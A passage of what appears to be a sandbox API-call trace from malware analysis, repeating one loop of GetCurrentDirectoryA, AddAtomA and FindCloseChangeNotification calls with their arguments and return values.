lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.867] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.868] AddAtomA (lpString=0x0) returned 0x0 [0053.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.869] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.870] AddAtomA (lpString=0x0) returned 0x0 [0053.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.871] AddAtomA (lpString=0x0) returned 0x0 [0053.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.872] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.872] AddAtomA (lpString=0x0) returned 0x0 [0053.872] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.873] AddAtomA (lpString=0x0) returned 0x0 [0053.873] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.873] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.874] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.874] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.874] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.875] AddAtomA (lpString=0x0) returned 0x0 [0053.875] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.875] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.876] AddAtomA (lpString=0x0) returned 0x0 [0053.876] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.876] GetCurrentDirectoryA (in: nBufferLength=0x0, 